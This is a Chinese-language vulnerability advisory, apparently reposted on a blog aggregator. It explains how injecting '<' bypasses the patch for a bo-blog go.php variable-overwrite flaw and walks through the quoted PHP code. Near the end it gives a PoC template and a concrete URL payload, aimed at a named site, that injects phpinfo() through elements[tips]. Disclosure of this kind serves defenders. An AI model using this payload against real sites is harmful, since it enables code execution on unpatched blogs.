boblog任意变量覆盖漏洞(二)
boblog任意變量覆蓋漏洞(二)
by Ryat[puretot]
mail: puretot at gmail dot com
team: http://www.80vul.com
date: 2011-03-09
先前80vul.com上公布了一個bo-blog的漏洞[1],這個漏洞已經被官方修補,但隨后wooyun.com上公布了一個繞過補丁的方法[2],可惜觸發時有一定的限制,下面我再來公布一個沒有任何限制的繞過補丁繼續觸發漏洞的方法:)
這個簡單來說是正則表達式和代碼邏輯不夠嚴謹造成的,來看代碼:
// go.php
$q_url=$_SERVER["REQUEST_URI"];
@list($relativePath, $rawURL)=@explode('/go.php/', $q_url);
$rewritedURL=$rawURL;
...
$RewriteRules[]="/page\/([0-9]+)\/([0-9]+)\/?/";
// 這個正則看上去很嚴謹,但是沒有使用^和$來限制開頭與結尾[可能是為了適應程序自身的需要]:)
...
$RedirectTo[]="index.php?mode=\\1&page=\\2";
...
foreach ($RewriteRules as $rule) {
?if (preg_match($rule, $rewritedURL)) {
??$tmp_rewritedURL=preg_replace($rule, '<'.$RedirectTo[$i].'<', $rewritedURL, 1);
// 對$rewritedURL進行匹配和替換,并使用<來標記匹配的部分
// 經過這樣的處理后$tmp_rewritedURL主要分為三部分:
// i.第一個<前面的部分
// ii.兩個<之間的部分
// iii.第二個<后面的部分
??$tmp_rewritedURL=@explode('<', $tmp_rewritedURL);
??$rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];
// 這段代碼的主要目的是解決之前的正則限制不夠嚴格的問題
// 程序員希望通過這段代碼去掉i和iii,使$rewritedURL僅保留ii
// 注意這里還對iii做了限制,按照程序員的想法,iii這部分應該是不存在的:)
// 這部分代碼邏輯的關鍵就在于<這個字符,但遺憾的是我們是可以隨意注入<的:p
??break;
?}
?$i+=1;
}
從上面的分析可以看出這段代碼對$rewritedURL處理邏輯貌似很嚴謹,但事實我們只要通過簡單的注入<這個字符,就可以打亂整個邏輯了:)
PoC:
/go.php/<[evil code]<page/1/1/
參考:
[1]http://www.80vul.com/boblog/boblog.txt
[2]http://www.wooyun.org/bugs/wooyun-2010-01491
?
http://www.s135.com/go.php?wst=/go.php/<page.php?elements[tips]=%3c!--%20php%20-->%3c!--%20phpinfo();%20-->%3c!--%20/php%20--><page/1/1
總結
以上是生活随笔為你收集整理的boblog任意变量覆盖漏洞(二)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 2013 Esri全球用户大会QA之元数
- 下一篇: 后端技术:这35 个细节,提升你的 Ja